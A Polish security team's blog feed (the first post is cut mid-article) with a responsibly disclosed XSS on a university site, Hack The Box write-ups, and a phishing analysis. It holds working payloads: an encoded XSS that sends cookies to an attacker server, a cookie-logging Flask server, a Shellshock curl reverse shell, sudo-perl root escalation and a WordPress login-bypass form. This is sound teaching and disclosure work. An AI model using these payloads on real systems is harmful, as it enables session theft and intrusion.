Czy to oznacza brak możliwości przeprowadzenia ataku? Nic bardziej mylnego. W tej sytuacji wystarczy po stronie serwera atakującego ustawić odpowiedni nagłówek. Spróbuję jednak podejść do tego w inny sposób. W języku JavaScript istnieje możliwość wykonania przekierowania na inną stronę z wykorzystaniem obiektu window.location. Wystarczy sprawdzić czy badana strona zezwala na takie działania:

Kod w języku JavaScript wykonujący przekierowanie pod adres atakującego wraz z ciasteczkami:

c = btoa(document.cookie);
window.location='http://localhost/'+c;

Kod przekształcony do formy umożliwiającej atak XSS:

<img src=1 onerror="eval(atob('YyA9IGJ0b2EoZG9jdW1lbnQuY29va2llKTsKd2luZG93LmxvY2F0aW9uPSdodHRwOi8vbG9jYWxob3N0LycrYzs='))">

Wklejamy kod w wyszukiwarkę, klikamy lupę i zostajemy przekierowani na stronę przestępcy. Wystarczy, aby po drugiej stronie czekała dokładna kopia strony Katedry lub ponowne przekierowanie i ofiara mogłaby nawet nie zauważyć zmiany. Przykładowy kod serwera w języku Python:

from flask import Flask, redirect

app = Flask(__name__)

@app.route('/<path:path>')
def index(path):
 print(f"Cookie: {path}")
 return redirect('http://www.ipee.pwr.wroc.pl/')

if __name__ == "__main__":
 app.run(port=80)

Tym sposobem uzyskujemy prosty atak, którego wynik przedstawiłem poniżej. Użytkownik zostaje w praktycznie niewidoczny sposób przekierowany na oryginalną stronę, a w konsoli atakującego pojawia się ciasteczko. Zakładając, że dana osoba była aktualnie zalogowana, jesteśmy teraz w posiadaniu identycznych uprawnień.

Proste, ale skuteczne przekierowanie

Wartość cookie na konsoli atakującego

Co dalej?

Błąd został przez nas zgłoszony do Katedry będącej operatorem danej strony zgodnie z zasadą odpowiedzialnego ujawniania podatności (responsible disclosure). Cały proces przedstawiłem poniżej:

17.05.2021 - błąd zidentifykowany na stronie Katedry
18.05.2021 - stworzenie Proof of Concept (przykład wykorzystania błędu)
18.05.2021 - zgłoszenie błędu do administracji Wydziału Elektrycznego
18.05.2021 - zgłoszenie przekazane do Katedry
19.05.2021 - wyłączenie strony z użytku
01.06.2021 - otrzymanie oficjalnej zgody na publikację artykułu

Z ciekawości zweryfikowaliśmy inne strony politechniczne i ten sam błąd zidentyfikowaliśmy również na stronie Katedry Energoelektryki:

18.05.2021 - błąd zidentifykowany na stronie Katedry
18.05.2021 - zgłoszenie błędu do administracji Wydziału Elektrycznego
18.05.2021 - zgłoszenie przekazane do Katedry
19.05.2021 - wyłączenie strony z użytku
01.06.2021 - otrzymanie oficjalnej zgody na publikację artykułu

A co jeśli ja też coś znalazłem/-łam?

Specjalnie w tym celu przygotowaliśmy odpowiednią stronę, na której można sprawdzić, co należy zrobić w momencie znalezienia błędu na stronach uczelnianych.

Droga do OSCP 2

Thu, 20 May 2021 00:00:00 +0000

W drugim artykule z tej serii, pod lupę biorę maszynę z portalu Hack The Box o nazwie Shocker.

Jeśli chcesz poznać szczegóły dotyczące wykorzystywanej przeze mnie terminologii lub nie znasz znaczenia nieopisanych przeze mnie poleceń to zapraszam do lektury pierwszego artykułu z tej serii {: .notice–info}

Szczegóły boxa

Nazwa	Status	Trudność	IP
Shocker	retired	3.6/10	10.10.10.56

Write-up

Analizę rozpoczynam tradycyjnie - od skanu narzędziem nmap.

$ nmap -sC -sV -oA nmap/nmap-enumerate 10.10.10.56
$ sudo nmap -p- --min-parallelism 100 -sS -sU --min-rate 5000 \
 -oN nmap/nmap-all 10.10.10.56

Po skanie można zauważyć. że otwarte są tylko 2 porty:

Port	Usługa	Wersja
2222	SSH	OpenSSH 7.2p2 Ubuntu 4ubuntu2.2
80	http	Apache httpd 2.4.18 (Ubuntu)

Z odpowiedzi obu usług można wysunąć wniosek, że systemem bazowym jest Ubuntu. Protokół SSH w tej wersji nie posiada znacznych podatności, które w łatwy sposób umożliwiłyby przedostanie się do maszyny, więc skupiam się na porcie 80. Narzędzie searchsploit również nie znajduje żadnych ciekawych błędów w odkrytych usługach.

HTTP

Na stronie startowej po portem 80 znajduje się bardzo prosta strona z grafiką:

Jako, że w kodzie strony (podpowiedź - kombinacja klawiszy CTRL-U na klawiaturze) nie ma nic ciekawego, rozpoczynam skanowanie podstron narzędziem gobuster.

$ gobuster dir -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -u http://10.10.10.56 -x "txt,html,php,asp,aspx,jsp,pl,sh" -s "200,201,202,203,204,302,301"

Wykorzystane parametry:

-w - ścieżka do słownika
-u - URL danej usługi
-x - wyszukuj również ścieżki zakończone podanymi rozszerzeniami (np. index.html i index.php)
-s - akceptowalne kody odpowiedzi HTTP

Słowniki (czyli tzw. wordlisty) są domyślnie pobrane na Kali Linuxie, ale jeśli jednak nie masz tego wykorzystywanego przeze mnie, to znaleźć go możesz w pakiecie SecLists {: .notice–info}

Wynik polecenia gobuster jest następujący:

===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.56
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt
[+] Status codes: 200,201,202,203,204,301,302,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
===============================================================
...
...
/cgi-bin/ (Status: 403)
/index.html (Status: 200)
/server-status (Status: 403)

W oczy automatycznie rzuca się ścieżka /cgi-bin/. Biorąc pod uwage, że jest to serwer Apache, cgi-bin jest dostępne, a nazwa boxa to Shocker to w grę wchodzi podatność shell-shock. W skrócie polega ona na zdalnym wykonaniu kodu poprzez nieprawidłowe interpretowanie zmiennych środowiskowych w bashu.

W bardzo przystepny sposób podatność ta została przedstawiona w prezentacji, którą można znaleźć na stronach organizacji OWASP {: .notice–info}

Jedyne co teraz potrzebujemy to jakikolwiek podatny endpoint. Najprościej jest wykonać ponownie polecenie gobuster dodając suffix /cgi-bin do adresu.

Endpoint - ścieżka w adresie URL (np. /cgi-bin/) {: .notice–info}

$ gobuster dir -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -u http://10.10.10.56/cgi-bin -x "txt,html,php,asp,aspx,jsp,pl,sh" -s "200,201,202,203,204,302,301"

===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.56/cgi-bin/
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt
[+] Status codes: 200,201,202,203,204,301,302,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: pl,sh,txt,html,php,asp,aspx,jsp
[+] Timeout: 10s
===============================================================
===============================================================
/.hta (Status: 403)
/.hta.pl (Status: 403)
/.hta.sh (Status: 403)
/.hta.txt (Status: 403)
...
...
/user.sh (Status: 200)
===============================================================

Udało się znaleźć plik user.sh.

Aby przetestować znaleziony endpoint pod kątem podatności shellshock wykorzystany zostanie odpowiedni skrypt NSE nmapa:

$ locate nse | grep shell
/usr/share/nmap/scripts/http-shellshock.nse

$ nmap -p 80 --script http-shellshock --script-args uri=/cgi-bin/user.sh 10.10.10.56
Starting Nmap 7.91 ( https://nmap.org ) at 2021-xx-xx xx:xx EDT
Nmap scan report for 10.10.10.56
Host is up (0.13s latency).

PORT STATE SERVICE
80/tcp open http
| http-shellshock:
| VULNERABLE:
| HTTP Shellshock vulnerability
| State: VULNERABLE (Exploitable)
| IDs: CVE:CVE-2014-6271
| This web application might be affected by the vulnerability known
| as Shellshock. It seems the server is executing commands injected
| via malicious HTTP headers.
|
| Disclosure date: 2014-09-24
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271
| http://www.openwall.com/lists/oss-security/2014/09/24/10
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-7169
|_ http://seclists.org/oss-sec/2014/q3/685

Nmap done: 1 IP address (1 host up) scanned in 1.17 seconds

Jak wykazał skrypt - maszyna jest podatna.

Shellshock - wykorzystanie podatności

Najprostszą metodą eksploitacji będzie stworzenie reverse shella z wykorzystaniem narzędzia curl.

Kod reverse shella:

/bin/bash -i >& /dev/tcp/10.10.14.xx/4242 0>&1

Nasz własny kod umieszczamy np w nagłówku User-Agent. Ostateczny PoC exploita:

curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.10.xx.xx/4242 0>&1' http://10.10.10.56/cgi-bin/user.sh

Po stworzeniu nasłuchu (ang. listener) z wykorzystaniem polecenia nc -lvnp 4242 i wykonaniu PoCa, ukazuje się konsola użytkownika shelly.

$ nc -lvnp 4242
listening on [any] 4242 ...
connect to [10.10.xx.xx] from (UNKNOWN) [10.10.10.56] 45620
bash: no job control in this shell
shelly@Shocker:/usr/lib/cgi-bin$ whoami
whoami
shelly
shelly@Shocker:/usr/lib/cgi-bin$

Wykorzystując proste polecenie find, możemy znaleźć pierwszy z dwóch poszukiwanych kluczy:

shelly@Shocker:/usr/lib/cgi-bin$ find / -iname "user.txt" 2>/dev/null
/home/shelly/user.txt

Eskalacja uprawnień

Pierwsza rzecz jaką sprawdzam próbując eskalować pionowo uprawnienia, jest weryfikacja, czy użytkownik może wykonywać jakiekolwiek polecenia z wykorzystaniem sudo bez hasła. W tym przypadku mamy dostęp do interpretera języka perl:

shelly@Shocker:/usr/lib/cgi-bin$ sudo -l
sudo -l
Matching Defaults entries for shelly on Shocker:
 env_reset, mail_badpass,
 secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User shelly may run the following commands on Shocker:
 (root) NOPASSWD: /usr/bin/perl

Wykonujemy proste polecenie tworzące powłokę bash i uzyskujemy dostęp do roota:

shelly@Shocker:/$ sudo /usr/bin/perl -e 'exec "/bin/bash";'
sudo /usr/bin/perl -e 'exec "/bin/bash";'
whoami
root

W podobny sposób jak w przypadku pliku user.txt, wyszukujemy root.txt i uzyskujemy drugi klucz boxa.

find / -iname "root.txt" 2>/dev/null
/root/root.txt

Analiza phishingu

Thu, 13 May 2021 00:00:00 +0000

Wstęp

Wpis ten powstał przy okazji niedawnej kampanii phishingowej na użytkowników poczty w portalu Wirtualna Polska. Otrzymaliśmy informację o podejrzanym mailu od jednego z naszych czytelników, więc postanowiliśmy się temu przyjrzeć z bliska i przedstawić naszą analizę.

Rozpoznanie

Na początku postanowiliśmy się ogólnie przyjrzeć otrzymanej wiadomości - sprawdzić jej treść i stylistykę. Sama zawartość przypomina typowy zabieg socjotechniczny, w którym atakujący próbują przestraszyć ofiarę, że ktoś uzyskał nieautoryzowany dostęp do ich danych i mógł zrobić coś złego. Przestępcy liczą na fakt, że chęć poznania tego, co zostało zrobione w ich imieniu, będzie silniejsza niż spokojna analiza.

Drugą rzeczą na którą zwróciliśmy uwagę, był adres nadawcy. Chcieliśmy dowiedzieć się kto go wysłał, czy jest to prawdziwy mail od Wirtualnej Polski, czy adres mailowy został przechwycony przez przestępców, czy może jednak został on podmieniony.

Poszukiwania

Swoje poszukiwania zaczęliśmy od sprawdzenia całej surowej zawartości maila (łącznie z nagłówkami).

MIME-Version: 1.0
Date: Thu, 6 May 2021 21:09:04 +0200
From: WP - Alert <info@mail.email-myst.warszawa.pl>
Subject: =?utf-8?Q?Kto=C5=9B_w=C5=82ama=C5=82_si=C4=99_na_Twoje_konto!?=
Thread-Topic:
=?utf-8?Q?Kto=C5=9B_w=C5=82ama=C5=82_si=C4=99_na_Twoje_konto!?=
To: "email@email.com" <email@email.com>
Content-Transfer-Encoding: quoted-printable
Content-Type: text/html; charset="utf-8"
<HTML><HEAD>
<META http-equiv=3D"Content-Type" content=3D"text/html; charset=3Dutf-8">
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial><IMG border=3D0 hspace=3D0 alt=3D""=20
src=3D"https://imgpile.com/images/7ZYVmi.png"></FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial>Osoby niepowo=C5=82ane mog=C5=82y pozna=C4=87 has=
=C5=82o do Twojej poczty,=20
poniewa=C5=BC z Twojego adresu wysy=C5=82ane s=C4=85 niechciane wiadomo=C5=
=9Bci z zagranicznych=20
IP.</FONT></DIV>
<DIV><FONT face=3DArial></FONT>&nbsp;</DIV>
<DIV align=3Dcenter><A href=3D"https://bit.ly/3uqwab0"><IMG border=3D0 hspa=
ce=3D0 alt=3D""=20
src=3D"https://imgpile.com/images/7ZY8bF.png"></A></DIV>
<DIV align=3Dcenter><FONT face=3DArial><A=20
href=3D"https://antyspam-poczta.us/wirtualna-polska"><IMG border=3D0 hspace=
=3D0 alt=3D""=20
src=3D"" width=3D0 height=3D0></A></FONT></DIV>
<DIV><FONT face=3DArial></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial>Pozdrawiamy!</FONT></DIV></BODY></HTML>

{: .notice–info} Przykładowy sposób uzyskania takiej formy wiadomości w serwisie Gmail przedstawiono tutaj

Zaciekawił nas zawarty w treści link antyspam-poczta[.]us. Wirtualna Polska jest polskim serwisem, więc dlaczego strona jest zarejestrowana w domenie .us? Coś tutaj się nie zgadzało.

Sprawdziliśmy ten adres na platformie VirusTotal, lecz tylko 1 silnik wykrył go jako potencjalnie szkodliwy - niezbyt dużo informacji. Weszliśmy w zakładkę szczegóły i przejrzeliśmy dane z części Whois Lookup. Znaleźliśmy tam m.in. adres kontaktowy i datę utworzenia:

Admin Email: 13a845c59b3c9b31s@yandex[.]ru
Creation Date: 2021-05-06T17:07:37Z

Pierwsze trafienie - email zarejestrowany w rosyjskiej domenie. Dodatkowo zerknęliśmy na szczegóły certyfikatu w portalu crt.sh:

Issuer: (CA ID: 183267)
commonName = R3
organizationName = Let's Encrypt
countryName = US
Validity
Not Before: May 6 16:53:07 2021 GMT
Not After : Aug 4 16:53:07 2021 GMT
Subject:
commonName = antyspam-poczta.us

Certyfikat jest ważny od 6 maja 2021.

Kolejną rzeczą, którą można zauważyć w treści maila, jest skrócony link bit[.]ly - hxxps://bit[.]ly/3uqwab0. Postanowiliśmy sprawdzić co się za tym kryje. Takie adresy, można w prosty sposób zweryfikować na stronach typu CheckShortURL. Wystarczy wkleić dany URL i kliknąć Expand.

W celu uwiarygodnienia adresu, przestępcy dodali po ukośniku wirtualna-polska, aby dodatkowo uśpić czujność ofiary. Chcieliśmy tam wejść i sprawdzić co się pojawi. Zostaliśmy przekierowani na adres hxxps://pomoc[.]wp[.]pl. Dodaliśmy znak + na końcu skróconego URLa, aby upewnić się, że link prowadzi do tej samej strony, którą uzyskaliśmy wcześniej.

{: .notice–info} Dodanie znaku + do bit.ly spowoduje wyświetlenie szczegółów strony, wraz z datą stworzenia skrótu oraz pełnym adresem do którego prowadzi

Nie znaleźliśmy nic ciekawego w tym miejscu. Założyliśmy jednak, że przestępcy mogą liczyć na to, że ofiara otworzy tego maila na smartfonie. W Burp Suite podmieniliśmy wartość nagłówka User-Agent na Mozilla/5.0 (Linux; Android 5.1.1; Nexus 5 Build/LMY48B; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/43.0.2357.65 Mobile Safari/537.36 (zgodnie z informacją ze strony Google), aby zweryfikować, co wyświetli się na telefonach z systemem Android.

Drugie trafienie - naszym oczom ukazała się specjalnie przygotowana strona, na której można pobrać dodatek.

W kodzie strony sprawdziliśmy, co znajduje się pod przyciskiem Pobierz dodatek AntySpam.

<!--[if mso]>&nbsp;<![endif]-->
<a href=hxxp://209[.]141[.]43[.]19/lander/aplikacja_antyspam/click.php?id=1>
<div class="buttons__Button2-s16d8eda-2 ghevYT">Pobierz dodatek AntySpam</div>
</a>
<!--[if mso]>&nbsp;<![endif]-->

Zweryfikowaliśmy ten adres na portalu Scamalytics i dostaliśmy informację, że istnieje wysokie prawdopodobieństwo oszustwa z jego wykorzystaniem.

Jeżeli wyszukamy ISP na tej samej stronie, to otrzymujemy informację, że jest to bardzo wysokie prawdopodobieństwo wyłudzenia.

Są to bardzo cenne informacje, które mówią nam, że zdecydownie nie powinniśmy pobierać tego pliku na telefon.

Aby zaspokoić naszą ciekawość, wykorzystaliśmy portal any.run do sprawdzenia jak działa znaleziony w kodzie adres. Przekierowuje on na stronę z podziękowaniem za pobranie aplikacji. W tle natomiast jest ona faktycznie pobierana. Jesli zezwoliliśmy kiedykolwiek na instalację aplikacji z niezaufanych źródeł poprzez przeglądarkę, to cały proces wykona się praktycznie bez jakiejkolwiek naszej ingerencji.

Pobraną aplikację zaladowaliśmy w portalu VirusTotal i po chwili otrzymaliśmy szczegółową analizę.

Wiele silników antywirusowych wykryło trojana.

Są to wszystkie istotne (na potrzeby artykułu) szczegóły, jakie mogliśmy stamtąd uzyskać, więc ponownie wróciliśmy do analizy treści maila. Sprawdziliśmy domenę adresu nadawcy email-myst.warszawa.pl w dns.pl.

Strona została założona zaledwie kilka dni przed czasem powstania tego tekstu. Data utworzenia tej domeny pokrywa się z datą rejestracji adresu antyspam-poczta[.]pl, jego certyfikatu oraz datą utworzenia skróconego linku. Dodatkowo informacje o Rejestratorze z portalu dns.pl nie pokrywają się z danymi Wirtualnej Polski oraz domeny warszawa.pl.

Dodatkowo sprawdziliśmy, czy domena widnieje na liście hole.cert i kolejne trafienie - została ona zablokowana przez CERT Polska. Jeżeli jednak chcielibyście upewnić się, czy wasz dostawca internetu blokuje tę stronę, możecie to sprawdzić wchodząc pod adres https://lista.cert.pl/#.

Wnioski

Pokazaliśmy jak mając dostęp do Internetu i odrobinę wiedzy technicznej (m.in. podmiana nagłówka User-Agent), można zweryfikować otrzymaną wiadomość email. Czasami wystarczy chwila nieuwagi, aby paść ofiarą przestępców. Zawsze podczas przeglądania poczty należy dokładnie weryfikować nadawcę, treść oraz załączone linki. Jeżeli jednak nie jesteście pewni, czy mail jest poprawny czy nie, możecie zadzwonić do nadawcy i upewnić się. Możecie również napisać do nas i my zweryfikujemy to za Was. CERT Polska posiada stronę dedykowaną takim incydentom. Znaleźć można tam również szczegółową instrukcję na temat tego, jak wyeksportować daną wiadomość email i przygotowac ją do zgloszenia.

Pamiętajcie, żeby nie instalować oprogramowania spoza autoryzowanych sklepów. Zweryfikujcie, czy w ustawieniach waszych telefonów odznaczona jest odpowiednia opcja przy przeglądarce, z której korzystacie. Wersja uniwersalna dla Androida 11 i przeglądarki Chrome:

Ustawienia
Aplikacje
Dostep specjalny
Zainstaluj nieznane aplikacje
Chrome

Przemyślenia końcowe

Bardzo zainteresował nas fakt, że domeną główną adresu nadawcy jest warszawa.pl. Postanowiliśmy zweryfikować to i spróbować wykupić domenę z nazwą polskiego miasta - udało się. Zostawiamy was z następującym pytaniem do przemyślenia - czy zwykły użytkownik powinien móc wykupić subdomenę samorządową jak arek.warszawa.pl czy wojtek.wroclaw.pl?

Break The Syntax CTF 2021

Fri, 12 Mar 2021 00:00:00 +0000

[PL] Break the Syntax 2021

Turniej Break The Syntax w 2021 roku odbył się w dniach 12.03.2021 - 14.03.2021.

CTFTime.

Writeupy z wydarzenia dostępne są na naszym GitHubie.

[ENG] Break the Syntax 2021

The 2021 Break The Syntax CTF tournament took palce from 12.03.2021 to 14.03.2021.

CTFTime.

The writeups from the event our available on our GitHub.

Droga do OSCP

Mon, 08 Mar 2021 00:00:00 +0000

Podobno człowiek najlepiej uczy się poprzez praktykę. Kierując się tą zasadą, postanowiłem stworzyć serię, dokumentującą przygotowania do egzaminu OSCP. Czym jest OSCP? Offensive Security Certified Professional to certyfikat etycznego hackingu stworzony przez firmę Offensive Security. Obejmuje on metodologie testów penetracyjnych z wykorzystaniem narzędzi dostępnych w systemie Kali Linux (jest on również rozwijany przez tą samą organizację).

Środowiska

Ze względu na duże restrykcje publikowania materiałów dotyczących certyfikatu, nie mógłbym opisywać oficjalnych środowisk dostarczonych przez Offensive Security. Na ratunek przychodzą strony typu Hack the Box i TryHackMe. Oferują one wiele maszyn podobnych do tych, obecnych na egzaminie. Skupię się jednak tylko na tym pierwszym portalu. Lista boxów na dzień 02.03.2021 przedstawiona jest na grafice poniżej. Część z nich posiada już status retired, co znaczy, że punkty za ich rozwiązanie nie są wliczane do wyniku w profilu użytkownika i mogą być dostępne tylko dla posiadaczy konta VIP. Patrząc jednak na renomę OSCP, warto zakupić chociaż miesięczny pakiet w HTB, żeby poćwiczyć przed egzaminem.

Box - w terminologii HTB jest to podatna maszyna udostępniona użytkownikowi {: .notice–info}

Dobrą praktyką jest tworzenie tzw. write-upów w trakcie pokonywania maszyn.

Write-up - w tym kontekście jest to instrukcja włamania do danej maszyny {: .notice–info}

Szczegóły boxa

Nazwa	Status	Trudność	IP
brainfuck	retired	6.6/10	10.10.10.17

Write-up

Analizę rozpoczynam od skanu narzędziem nmap. Należy sprawdzić działające usługi i wszystkie otwarte porty. Można to wykonać następującymi poleceniami:

$ nmap -sC -sV -oA nmap/nmap-enumerate 10.10.10.17
$ sudo nmap -p- --min-parallelism 100 -sS -sU --min-rate 5000 \
 -oN nmap/nmap-all 10.10.10.17

Wykorzystane zostały następujące parametry:

-sC - wykonaj najbardziej popularne skrypty NSE
-sV - wykryj wersję usług
-oA - zwróć rezultaty we wszystkich dostępnych formatach (xml, ScRipT KIdd|3, format grepowalny, normalny)
-p- - skanuj wszystkie porty
--min-parallelism - zmień ilość równoległych próbek
-sS - ustaw typ skanu na TCP SYN
-sU - ustaw typ skanu na UDP
--min-rate - wysyłaj więcej pakietów na sekundę niż podana wartość
-oN - zwróć rezultat w formacie normalnym

Wyniki skanów zostaną zapisane w folderze nmap. Można w nich zauważyć, że otwartych jest tylko 5 portów:

Port	Usługa	Wersja
22	SSH	OpenSSH 7.2p2
25	smtp	Postfix smtpd
110	pop3	Devecot pop3d
143	imap	Devecot imapd
443	ssl/http	nginx 1.10.0

Wnioski:

na boxie działa serwer pocztowy (patrz wiersz 2,3,4 tabeli zawierającej otwarte porty)
dostępna wersja SSH na pierwszy rzut oka nie posiada poważnych błędów umożliwiających obejście zabezpieczeń
certyfikat SSL wydany został dla domen: brainfuck.htb, www.brainfuck.htb i sup3rs3cr3t.brainfuck.htb

443/tcp open ssl/http nginx 1.10.0 (Ubuntu)
 .
| ssl-cert: Subject: commonName=brainfuck.htb/organizationName=Brainfuck Ltd./stateOrProvinceName=Attica/countryName=GR
| Subject Alternative Name: DNS:www.brainfuck.htb, DNS:sup3rs3cr3t.brainfuck.htb
 .

Należy edytować plik odpowiedzialny za rozpoznawanie nazw domenowych w Linuxie /etc/hosts, uzupełniając go o wartości z certyfikatu. Dzięki temu możemy wejść pod dany adres z poziomu przeglądarki.

Wordpress

Po otwarciu pierwszej z domen (https://brainfuck.htb) i zaakceptowaniu zagrożenia, ukazuje się strona startowa informująca, że jest to witryna bazująca na Wordpressie.

Wordpress wraz z dodatkami ma to do siebie, że jest dziurawy bardziej niż tradycyjny, szwajcarski ser. Do zweryfikowania tej instancji wykorzystane zostaje narzędzie wpscan

$ wpscan --url https://brainfuck.htb/ --api-token REDACTED --disable-tls-checks
.
.
.
| [!] Title: WP Support Plus Responsive Ticket System < 8.0.0 - Privilege Escalation
| Fixed in: 8.0.0
| References:
| - https://wpscan.com/vulnerability/b1808005-0809-4ac7-92c7-1f65e410ac4f
| - https://security.szurek.pl/wp-support-plus-responsive-ticket-system-713-privilege-escalation.html
| - https://packetstormsecurity.com/files/140413/
|
| [!] Title: WP Support Plus Responsive Ticket System < 8.0.8 - Remote Code Execution
| Fixed in: 8.0.8
| References:
| - https://wpscan.com/vulnerability/85d3126a-34a3-4799-a94b-76d7b835db5f
| - https://plugins.trac.wordpress.org/changeset/1763596
|
| Version: 7.1.3 (100% confidence)
.
.
.

W oczy rzucają się dwie podatności - Privilege Escalation (eskalacja uprawnień) i RCE (zdalne wykonanie kodu). Wykorzystana zostanie pierwsza z nich (odkryta przez polskiego badacza bezpieczeństwa Kacpra Szurka). Znaleźć ją można z wykorzystaniem narzędzia searchsploit, będącego konsolowym programem do przeglądania bazy exploit.db (rozwijanej przez Offensive Security).

$ searchsploit WP Support Plus Responsive Ticket

-------------------- ---------------------------------
 Exploit Title | Path
-------------------- ---------------------------------
WordPress Plugin WP Support Plus Responsive Ticket System 7.1.3 - Privilege Escalation | php/webapps/41006.txt
-------------------- ---------------------------------

$ searchsploit -x 41006

# Exploit Title: WP Support Plus Responsive Ticket System 7.1.3 Privilege Escalation
# Date: 10-01-2017
# Software Link: https://wordpress.org/plugins/wp-support-plus-responsive-ticket-system/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# Category: web

1. Description

You can login as anyone without knowing password because of incorrect usage of wp_set_auth_cookie().

http://security.szurek.pl/wp-support-plus-responsive-ticket-system-713-privilege-escalation.html

2. Proof of Concept

<form method="post" action="http://wp/wp-admin/admin-ajax.php">
 Username: <input type="text" name="username" value="administrator">
 <input type="hidden" name="email" value="sth">
 <input type="hidden" name="action" value="loginGuestFacebook">
 <input type="submit" value="Login">
</form>

Then you can go to admin panel.

Należy edytować formularz z dostarczonego PoC i dostosować go do swoich potrzeb. W tym przypadku trzeba zmienić adres URL panelu administratora Wordpress oraz adres email. Do tej pory znany jest tylko URL. Skąd wziąć email? Tak się składa, że to również znajduje się na stronie http://brainfuck.htb. Znaleźć możemy tam wpis użytkownika admin, proszącego o kontakt pod adresem orestis@brainfuck.htb.

PoC - (ang. Proof of Concept) jest to fragment kodu mający za zadanie zademonstrować działanie pewnej funkcjonalności lub programu {: .notice–info}

Kod po edycji prezentuje się następująco:

<form method="post" action="https://brainfuck.htb//wp-admin/admin-ajax.php">
 Username: <input type="text" name="username" value="admin">
 <input type="hidden" name="email" value="orestis@brainfuck.htb">
 <input type="hidden" name="action" value="loginGuestFacebook">
 <input type="submit" value="Login">
</form>

Zapisujemy go jako index.html i wykonujemy w konsoli proste polecenie uruchamiające serwer HTTP w aktualnym folderze:

$ python3 -m http.server 8001

Wchodzimy w przeglądarce pod adres http://localhost:8001 i klikamy dostępny przycisk Login.

Po chwili odświeżamy główną stronę http://brainfuck.htb gdzie zostajemy automatycznie zalogowani jako użytkownik admin.

Przechodzimy do panelu Wordpressa poprzez przycisk Edit my profile. W menu pluginów można zauważyć, że zainstalowany jest dodatek Easy WP SMTP. Wchodzimy do jego ustawień, gdzie powinna znajdować się konfiguracja serwera pocztowego. Hasło SMTP jest jednak zamaskowane…co można łatwo obejść podglądając kod strony.

Klient IMAP

Wykorzystując dowolnego klienta pocztowego, łączymy się z serwerem z wykorzystaniem znalezionych danych. W moim przypadku wykorzystałem odpowiednio skonfigurowanego Thunderbirda (popularny klient poczty email na systemy Linux).

Natychmiast po zapisaniu ustawień pojawia się wiadomość w skrzynce. Zawiera ona dane logowania do sekretu.

Tu należy cofnąć się do wyników skanu nmapem, gdzie odkryta została subdomena sup3rs3cr3t.brainfuck.htb. Wchodzimy na nią i od razu logujemy się pozyskanym loginem i hasłem. Uzyskujemy w ten sposób dostęp do nowych wątków na forum - przed zalogowaniem widoczny jest tylko Development

Zaszyfrowany wątek

W SSH Access znaleźć można rozmowę między administratorem, a użytkownikiem orestis, który informuje w agresywny sposób o utracie klucza ssh i żąda wydania nowego. Orestis otwiera nowy, zaszyfrowany wątek, w którym przekazane zostaną kolejne wiadomości. Tu należy zwrócić uwagę na podpis pod każdym wpisem naszego użytkownika - Orestis - Hacking for fun and profit. Ta informacja przyda się później.

Zaszyfrowany wątek o nazwie Key zawiera coś co na pierwszy rzut oka przypomina zbiór losowych liter. Jest to tzw. Szyfr Vigenère’a. W dużym uproszczeniu, polega on na przesunięciu liter tekstu jawnego, względem klucza o takiej samej długości (jeśli klucz jest krótszy, to wykorzystana zostaje jego wielokrotność). Tu przyda się podpis użytkownika zapisany wcześniej. Można go znaleźć w analizowanym wątku, ale nie w jawnej postaci - np. Wejmvse - Fbtkqal zqb rso rnl cwihsf. W celu odnalezienia klucza napisałem prosty kod w języku Python. Dla ułatwienia usunąłem znaki niebędące literami.

plain = "OrestisHackingforfunandprofit"
encode = "WejmvseFbtkqalzqbrsornlcwihsf"
key = str()
for (l1, l2) in zip(plain, encode):
 n = ((ord(l2) - ord(l1)) % 26) + 97
 key += chr(n)
print(key)

Po jego wykonaniu otrzymujemy ciąg infuckmybrainfuckmybrainfuckm. Biorąc pod uwagę, że zastosowana została prawdopodobnie wielokrotność klucza, to możemy bezpiecznie założyć, że jego oryginalna postać to fuckmybrain. W tym momencie możemy wykorzystać dowolne narzędzie online do deszyfrowania (np. CyberChef) i odkryć tekst jawny.

Łamanie hasła

Jeden z wpisów na forum zawiera adres URL do pliku id_rsa będącego nowym kluczem prywatnym użytkownika orestis. Jednak aby móc zalogować się z jego wykorzystaniem poprzez SSH, należy złamać hasło klucza (ang. passphrase). Można użyć w tym celu programu John the Ripper (np. w dedykowanym środowisku przygotowanym do łamania haseł)

Z wykorzystaniem słownika rockyou złamano hasło - 3poulakia!

Mając passphrase do klucza SSH, można zalogować się wykorzystując otwarty port 22.

$ chmod 600 id_rsa
$ ssh orestis@10.10.10.17 -i id_rsa
Enter passphrase for key 'id_rsa':
Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.4.0-75-generic x86_64)

 * Documentation: https://help.ubuntu.com
 * Management: https://landscape.canonical.com
 * Support: https://ubuntu.com/advantage

0 packages can be updated.
0 updates are security updates.

You have mail.
Last login: Wed May 3 19:46:00 2017 from 10.10.11.4
orestis@brainfuck:~$

Eskalacja uprawnień

Po zalogowaniu jako zwykły użytkownik, należy odczytać zawartość pliku /root/root.txt. Wiąże się to najcześciej z koniecznością uzyskania uprawnień roota, lecz ta maszyna jest inna. W folderze domowym użytkownika znajduje się kilka plików. Jednym z nich jest encrypt.sage, który jest tak naprawdę kodem w języku Python, wykonującym szyfrowanie RSA na pliku /root/root.txt.

orestis@brainfuck:~$ ls -l
total 20
